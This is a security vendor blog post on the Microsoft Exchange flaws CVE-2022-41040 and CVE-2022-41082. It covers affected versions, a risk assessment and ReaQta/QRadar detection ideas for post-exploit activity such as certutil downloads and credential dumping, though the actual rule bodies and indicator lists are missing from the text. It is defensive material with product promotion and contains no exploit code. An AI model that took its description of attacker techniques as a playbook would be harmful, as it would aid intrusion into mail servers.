Special thanks to Tristan Reed for his help understanding and co-writing how ReaQta can help improve detection coverage.
Another special thanks to Ben Baumgartner for providing the Randori's analysis of these vulnerabilities.

Hi guys !

The IT world is shaking again, there is potential new Remote Code Execution vulnerabilities in Microsoft Exchange that everyone is talking about...
That's right, I removed the word "potential" because as I was writing, the two potential vulnerabilities became actual CVE.

So today we are going to talk about CVE-2022-41040 (Microsoft Exchange Server server-side request forgery) and CVE-2022-41082 (Microsoft Exchange Server code execution).

Context

All of this starts with a claim from the Vietnamese Cybersecurity Group GTSC, saying that their teams found suspicious activity on Exchange Servers, affecting more and more infrastructures. The story of their discovery is told on their website here.

Vulnerable systems are on-premise:

• Microsoft Exchange Server 2013
• Microsoft Exchange Server 2016
• Microsoft Exchange Server 2019

The vulnerabilities have been confirmed by Microsoft, right now no patch is available, but mitigation steps are available on the Microsoft website.

The X-Force team is actively monitoring the case, you can follow their investigations by watching updates on the advisory here.

Now let's talk about the detection side. More precise information and proof-of-concept will most likely come to confirm the content of this blog in the next few days, but we wanted to give you the earliest best chances to catch suspicious behaviour if you are under attack, so everything mentioned is opened for discussion and update.

You can implement monitoring with ReaQta and QRadar, and I'll provide some details for both.
I will also include Randori's analysis of the vulnerability, because I think it could really help you increase your scope of detection and response. 

Detection with ReaQta

Good news ! If you have ReaQta on you Exchange Server and your definitions are up-to-date, you have great chances to detect the post-exploit activities.

As of today, post-exploitation activity detailed by GTSC's SOC show behaviour that would certainly be detected, out of the box, by IBM Security ReaQta.
In particular, the attacker's dropped files would be detected by the Anti-Malware detection.

As an additional layer of detection, ReaQta provides a unique feature called DeStra (Detection Strategies) specifically created to support advanced teams in the detection of highly sophisticated threat actors attacks (APTs) and to create highly-customized detection scenarios, tailor-fitted to the organization’s security needs.

Once a Destra is created, it is immediately activated across the entire organization without any kind of intervention or downtime.

Your chances of detecting this RCE activity are increased with ReaQta, because the threat intelligence team has long implemented a DeStra rule to detect living off the land attacks such as with certutil which was also detailed by GTSC' SOC. 
Because the attacker employs certutil.exe to establish a network connection, the DeStra rule can detect the activity, trigger an alert, and provide the complete behavioural tree immediately.

 
The certutil DeStra rule is particularly simple and easy to deploy:

Regardless of the vulnerability or exploit, an attacker must either deploy tools or use existing legitimate tools, both of which ReaQta has multiple layers of detection to alert and stop.

Now let's look at the indicators provided to us to detect suspicious activity with QRadar.

Detection with QRadar

Warning: The rules below are based on the information provided by the GTSC SOC, and can be high consuming in terms of resources depending on the environment. Please adapt the rules to your environment, limit them to the vulnerable servers, etc.
All the rules assume that you have the latest version of the Microsoft Windows Custom Properties installed.

Files modification

The first thing GTSC mentions about the post exploit activity is the edition of 3 files on the Exchange server.
You can monitor these files with the following rule:

Download activity

Second indicator mentioned is the download of files using certutil.
To detect it, you can create a rule such as :

Credential Dumping

The behaviour observed by their team indicates that credential dumping is happening on the system, all the information collected is added to an archive and copied away.
Most of the indicators seem to have been deleted by the attackers during the attacks, so it doesn't give a lot of room for validating the detections, but these are behaviour covered by the Endpoint content extension available on the App Exchange. 

Suspicious Files

Detection based on IPs and Hashes

A few hashes and IP are provided for monitoring.
You can check the latest list in your favourite Threat Intelligence provider's advisory here ;)

For IP, create a Reference Set with the following values:

And create the following rule

 
For Hashes, create a Reference Set with the following values:

And create this rule:

Randori’s Hacker Perspective

I wanted to tell you about Randori because it helps you limit the damages by discovering unknown exposures, better prioritizing vulnerabilities, and validating your defenses in real-time so you can stay ahead of the next attack, and I think this is where it can help you.

I believe this can be a good tool for you because Randori offers a rich suite of enterprise integrations for responding quickly to security incidents. You can find the list of integrations here.

So let's see what the Randori team says about our current case.

Bad…

As already discussed, up front this seems very bad - Microsoft Exchange is a massively deployed and highly interesting target for adversaries - with a known history of weakness. In this case, there has even been some chatter about these vulnerabilities possibly representing new expressions of last year's MS Exchange vulnerabilities.

But not that bad…

On the other hand, to actually trigger the Remote Code Execution vulnerability (referenced as CVE-2022-41082) an attacker must obtain and utilize valid user credentials first in order to be able to exploit the previously addressed SSRF (server-side request forgery) vulnerability (referenced as CVE-2022-41040).
These two requirements increase the complexity and thus reduce the overall threat level.

Details…

The implication of an Authenticated User as a requirement on the potential exploitability of these vulnerabilities is key - likely limiting the viability of the second vulnerability in many environments.

Additionally, pre-patch mitigations provided by Microsoft¹ were timely and the high level of visibility of previous MS Exchange vulnerabilities likely increases Blue Team/SOC understanding of the urgency to act quickly to mitigate.

Thus far there have been no publicly available, high quality, proof-of-concept (POC) exploit code examples and at least one “non-destructive test” to determine if a particular Exchange server is vulnerable to the RCE. The lack of PoC exploit code serves to limit the usage of the vulnerabilities to existing threat actors and highly motivated adversaries already in possession of functional exploit chains.

Finally, reporting from Microsoft indicates that this vulnerability only impacts on-prem (and potentially legacy hybrid) Exchange environments, serving to further reduce the number of systems likely affected by the weaknesses.

¹ A recent Twitter post has indicated that the mitigation recommendations provided by Microsoft do NOT actually serve to limit exposure.

Randori RECON Target Temptation Explained

Applicability: HIGH - Exchange is widely deployed across many environments. Criticality: MEDIUM - Exchange is generally not part of an integrity boundary. However, because Exchange does act as a primary medium for communications, exploitation could have significant impact to organization operations and could be an excellent source for user authentication data. Enumerability: LOW - Without service specific probes enumerating the specific version and patch level of an Exchange server is challenging. Exploitability: MEDIUM - While Exchange has a history of weakness, there are currently no PUBLIC Proof-of-Concept exploit chains available for adversaries to use. Research Potential: HIGH - Exchange, being a high value target and having a history of weakness, is a very interesting target for adversaries. Post Exploit Potential: MEDIUM - The post exploitation environment is well known; however, while there are a variety of post exploitation capabilities, there are also a myriad of quality mitigations.

For more information on Randori RECON’s Target Temptation check out our blog post on how Randori brings the Attacker’s Perspective to Vulnerability Management.

I hope this will help you implement detections, feel free to send me a message if you have any question. 
Updates will probably come in the next few days. 

If you are interested in reading more about QRadar Security Content, you can find the complete list of blog entries here.
Have a great weekend !